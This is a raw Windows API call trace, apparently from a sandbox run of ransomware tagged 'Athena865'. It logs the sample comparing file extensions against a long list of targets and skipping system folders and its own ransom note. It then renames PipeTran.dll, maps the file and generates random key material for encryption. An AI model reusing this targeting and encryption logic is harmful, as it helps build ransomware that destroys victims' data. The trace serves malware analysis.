lstrlenW (lpString="db") returned 2 [0037.491] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0037.491] lstrlenW (lpString="db2") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0037.491] lstrlenW (lpString="db3") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0037.491] lstrlenW (lpString="dbf") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0037.491] lstrlenW (lpString="mdf") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0037.491] lstrlenW (lpString="mdb") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0037.491] lstrlenW (lpString="sql") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0037.491] lstrlenW (lpString="sqlite") returned 6 [0037.491] lstrcmpiW (lpString1="an.dll", lpString2="sqlite") returned -1 [0037.491] lstrlenW (lpString="sqlite3") returned 7 [0037.491] lstrcmpiW (lpString1="ran.dll", lpString2="sqlite3") returned -1 [0037.491] lstrlenW (lpString="sqlitedb") returned 8 [0037.491] lstrcmpiW (lpString1="Tran.dll", lpString2="sqlitedb") returned 1 [0037.491] lstrlenW (lpString="xml") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0037.491] lstrlenW (lpString="$er") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0037.491] lstrlenW (lpString="4dd") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0037.491] lstrlenW (lpString="4dl") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0037.492] lstrlenW (lpString="^^^") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0037.492] lstrlenW (lpString="abs") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0037.492] lstrlenW (lpString="abx") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0037.492] lstrlenW (lpString="accdb") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0037.492] lstrlenW (lpString="accdc") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0037.492] lstrlenW (lpString="accde") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0037.492] lstrlenW (lpString="accdr") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0037.492] lstrlenW (lpString="accdt") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0037.492] lstrlenW (lpString="accdw") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0037.492] lstrlenW (lpString="accft") returned 5 [0037.492] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0037.492] lstrlenW (lpString="adb") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.492] lstrlenW (lpString="adb") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.492] lstrlenW (lpString="ade") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0037.492] lstrlenW (lpString="adf") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0037.492] lstrlenW (lpString="adn") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0037.492] lstrlenW (lpString="adp") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0037.492] lstrlenW (lpString="alf") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0037.492] lstrlenW (lpString="ask") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0037.492] lstrlenW (lpString="btr") returned 3 [0037.492] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0037.493] lstrlenW (lpString="cat") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0037.493] lstrlenW (lpString="cdb") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0037.493] lstrlenW (lpString="ckp") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0037.493] lstrlenW (lpString="cma") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0037.493] lstrlenW (lpString="cpd") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0037.493] lstrlenW (lpString="dacpac") returned 6 [0037.493] lstrcmpiW (lpString1="an.dll", lpString2="dacpac") returned -1 [0037.493] lstrlenW (lpString="dad") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0037.493] lstrlenW (lpString="dadiagrams") returned 10 [0037.493] lstrcmpiW (lpString1="peTran.dll", lpString2="dadiagrams") returned 1 [0037.493] lstrlenW (lpString="daschema") returned 8 [0037.493] lstrcmpiW (lpString1="Tran.dll", lpString2="daschema") returned 1 [0037.493] lstrlenW (lpString="db-journal") returned 10 [0037.493] lstrcmpiW (lpString1="peTran.dll", lpString2="db-journal") returned 1 [0037.493] lstrlenW (lpString="db-shm") returned 6 [0037.493] lstrcmpiW (lpString1="an.dll", lpString2="db-shm") returned -1 [0037.493] lstrlenW (lpString="db-wal") returned 6 [0037.493] lstrcmpiW (lpString1="an.dll", lpString2="db-wal") returned -1 [0037.493] lstrlenW (lpString="dbc") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0037.493] lstrlenW (lpString="dbs") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0037.493] lstrlenW (lpString="dbt") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0037.493] lstrlenW (lpString="dbv") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0037.493] lstrlenW (lpString="dbx") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0037.493] lstrlenW (lpString="dcb") returned 3 [0037.493] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0037.493] lstrlenW (lpString="dct") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0037.494] lstrlenW (lpString="dcx") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0037.494] lstrlenW (lpString="ddl") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0037.494] lstrlenW (lpString="dlis") returned 4 [0037.494] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0037.494] lstrlenW (lpString="dp1") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0037.494] lstrlenW (lpString="dqy") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0037.494] lstrlenW (lpString="dsk") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0037.494] lstrlenW (lpString="dsn") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0037.494] lstrlenW (lpString="dtsx") returned 4 [0037.494] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0037.494] lstrlenW (lpString="dxl") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0037.494] lstrlenW (lpString="eco") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0037.494] lstrlenW (lpString="ecx") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0037.494] lstrlenW (lpString="edb") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0037.494] lstrlenW (lpString="epim") returned 4 [0037.494] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0037.494] lstrlenW (lpString="fcd") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0037.494] lstrlenW (lpString="fdb") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0037.494] lstrlenW (lpString="fic") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0037.494] lstrlenW (lpString="flexolibrary") returned 12 [0037.494] lstrlenW (lpString="fm5") returned 3 [0037.494] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0037.494] lstrlenW (lpString="fmp") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0037.495] lstrlenW (lpString="fmp12") returned 5 [0037.495] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0037.495] lstrlenW (lpString="fmpsl") returned 5 [0037.495] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0037.495] lstrlenW (lpString="fol") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0037.495] lstrlenW (lpString="fp3") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0037.495] lstrlenW (lpString="fp4") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0037.495] lstrlenW (lpString="fp5") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0037.495] lstrlenW (lpString="fp7") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0037.495] lstrlenW (lpString="fpt") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0037.495] lstrlenW (lpString="frm") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0037.495] lstrlenW (lpString="gdb") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.495] lstrlenW (lpString="gdb") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.495] lstrlenW (lpString="grdb") returned 4 [0037.495] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0037.495] lstrlenW (lpString="gwi") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0037.495] lstrlenW (lpString="hdb") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0037.495] lstrlenW (lpString="his") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0037.495] lstrlenW (lpString="ib") returned 2 [0037.495] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0037.495] lstrlenW (lpString="idb") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0037.495] lstrlenW (lpString="ihx") returned 3 [0037.495] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0037.496] lstrlenW (lpString="itdb") returned 4 [0037.496] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0037.496] lstrlenW (lpString="itw") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0037.496] lstrlenW (lpString="jet") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0037.496] lstrlenW (lpString="jtx") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0037.496] lstrlenW (lpString="kdb") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0037.496] lstrlenW (lpString="kexi") returned 4 [0037.496] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0037.496] lstrlenW (lpString="kexic") returned 5 [0037.496] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0037.496] lstrlenW (lpString="kexis") returned 5 [0037.496] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0037.496] lstrlenW (lpString="lgc") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0037.496] lstrlenW (lpString="lwx") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0037.496] lstrlenW (lpString="maf") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0037.496] lstrlenW (lpString="maq") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0037.496] lstrlenW (lpString="mar") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0037.496] lstrlenW (lpString="marshal") returned 7 [0037.496] lstrcmpiW (lpString1="ran.dll", lpString2="marshal") returned 1 [0037.496] lstrlenW (lpString="mas") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0037.496] lstrlenW (lpString="mav") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0037.496] lstrlenW (lpString="maw") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0037.496] lstrlenW (lpString="mdbhtml") returned 7 [0037.496] lstrcmpiW (lpString1="ran.dll", lpString2="mdbhtml") returned 1 [0037.496] lstrlenW (lpString="mdn") returned 3 [0037.496] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0037.496] lstrlenW (lpString="mdt") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0037.497] lstrlenW (lpString="mfd") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0037.497] lstrlenW (lpString="mpd") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0037.497] lstrlenW (lpString="mrg") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0037.497] lstrlenW (lpString="mud") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0037.497] lstrlenW (lpString="mwb") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0037.497] lstrlenW (lpString="myd") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0037.497] lstrlenW (lpString="ndf") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0037.497] lstrlenW (lpString="nnt") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0037.497] lstrlenW (lpString="nrmlib") returned 6 [0037.497] lstrcmpiW (lpString1="an.dll", lpString2="nrmlib") returned -1 [0037.497] lstrlenW (lpString="ns2") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0037.497] lstrlenW (lpString="ns3") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0037.497] lstrlenW (lpString="ns4") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0037.497] lstrlenW (lpString="nsf") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0037.497] lstrlenW (lpString="nv") returned 2 [0037.497] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0037.497] lstrlenW (lpString="nv2") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0037.497] lstrlenW (lpString="nwdb") returned 4 [0037.497] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0037.497] lstrlenW (lpString="nyf") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0037.497] lstrlenW (lpString="odb") returned 3 [0037.497] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.497] lstrlenW (lpString="odb") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.498] lstrlenW (lpString="oqy") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0037.498] lstrlenW (lpString="ora") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0037.498] lstrlenW (lpString="orx") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0037.498] lstrlenW (lpString="owc") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0037.498] lstrlenW (lpString="p96") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0037.498] lstrlenW (lpString="p97") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0037.498] lstrlenW (lpString="pan") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0037.498] lstrlenW (lpString="pdb") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0037.498] lstrlenW (lpString="pdm") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0037.498] lstrlenW (lpString="pnz") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0037.498] lstrlenW (lpString="qry") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0037.498] lstrlenW (lpString="qvd") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0037.498] lstrlenW (lpString="rbf") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0037.498] lstrlenW (lpString="rctd") returned 4 [0037.498] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0037.498] lstrlenW (lpString="rod") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0037.498] lstrlenW (lpString="rodx") returned 4 [0037.498] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0037.498] lstrlenW (lpString="rpd") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0037.498] lstrlenW (lpString="rsd") returned 3 [0037.498] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0037.499] lstrlenW (lpString="sas7bdat") returned 8 [0037.499] lstrcmpiW (lpString1="Tran.dll", lpString2="sas7bdat") returned 1 [0037.499] lstrlenW (lpString="sbf") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0037.499] lstrlenW (lpString="scx") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0037.499] lstrlenW (lpString="sdb") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0037.499] lstrlenW (lpString="sdc") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0037.499] lstrlenW (lpString="sdf") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0037.499] lstrlenW (lpString="sis") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0037.499] lstrlenW (lpString="spq") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0037.499] lstrlenW (lpString="te") returned 2 [0037.499] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0037.499] lstrlenW (lpString="teacher") returned 7 [0037.499] lstrcmpiW (lpString1="ran.dll", lpString2="teacher") returned -1 [0037.499] lstrlenW (lpString="tmd") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0037.499] lstrlenW (lpString="tps") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0037.499] lstrlenW (lpString="trc") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.499] lstrlenW (lpString="trc") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.499] lstrlenW (lpString="trm") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0037.499] lstrlenW (lpString="udb") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0037.499] lstrlenW (lpString="udl") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0037.499] lstrlenW (lpString="usr") returned 3 [0037.499] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0037.499] lstrlenW (lpString="v12") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0037.500] lstrlenW (lpString="vis") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0037.500] lstrlenW (lpString="vpd") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0037.500] lstrlenW (lpString="vvv") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0037.500] lstrlenW (lpString="wdb") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0037.500] lstrlenW (lpString="wmdb") returned 4 [0037.500] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0037.500] lstrlenW (lpString="wrk") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0037.500] lstrlenW (lpString="xdb") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0037.500] lstrlenW (lpString="xld") returned 3 [0037.500] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0037.500] lstrlenW (lpString="xmlff") returned 5 [0037.500] lstrcmpiW (lpString1="n.dll", lpString2="xmlff") returned -1 [0037.500] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\PipeTran.dll.Athena865") returned 49 [0037.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.athena865"), dwFlags=0x1) returned 1 [0037.505] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.505] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1884160) returned 1 [0037.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.506] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.507] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.507] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.507] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cc300, lpName=0x0) returned 0x154 [0037.508] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cc300) returned 0x2d50000 [0037.583] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.584] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.584] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.585] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0037.604] CloseHandle (hObject=0x154) returned 1 [0037.604] CloseHandle (hObject=0x17c) returned 1 [0037.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.705] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="..") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="windows") returned -1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="bootmgr") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="temp") returned -1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="pagefile.sys") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="boot") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="ids.txt") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="ntuser.dat") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="perflogs") returned 1 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="MSBuild") returned 1 [0037.705] lstrlenW (lpString="rtstreamsink.ax") returned 15 [0037.705] lstrcpyW (in: lpString1=0x241e87e, lpString2="rtstreamsink.ax" | out: lpString1="rtstreamsink.ax") returned="rtstreamsink.ax" [0037.705] lstrlenW (lpString="rtstreamsink.ax") returned 15 [0037.705] lstrlenW (lpString="Athena865") returned 9 [0037.705] lstrcmpiW (lpString1="amsink.ax", lpString2="Athena865") returned -1 [0037.705] lstrlenW (lpString=".dll") returned 4 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".dll") returned 1 [0037.705] lstrlenW (lpString=".lnk") returned 4 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".lnk") returned 1 [0037.705] lstrlenW (lpString=".ini") returned 4 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".ini") returned 1 [0037.705] lstrlenW (lpString=".sys") returned 4 [0037.705] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".sys") returned 1 [0037.705] lstrlenW (lpString="rtstreamsink.ax") returned 15 [0037.705] lstrlenW (lpString="bak") returned 3 [0037.705] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0037.705] lstrlenW (lpString="ba_") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0037.706] lstrlenW (lpString="dbb") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0037.706] lstrlenW (lpString="vmdk") returned 4 [0037.706] lstrcmpiW (lpString1="k.ax", lpString2="vmdk") returned -1 [0037.706] lstrlenW (lpString="rar") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0037.706] lstrlenW (lpString="zip") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0037.706] lstrlenW (lpString="tgz") returned 3 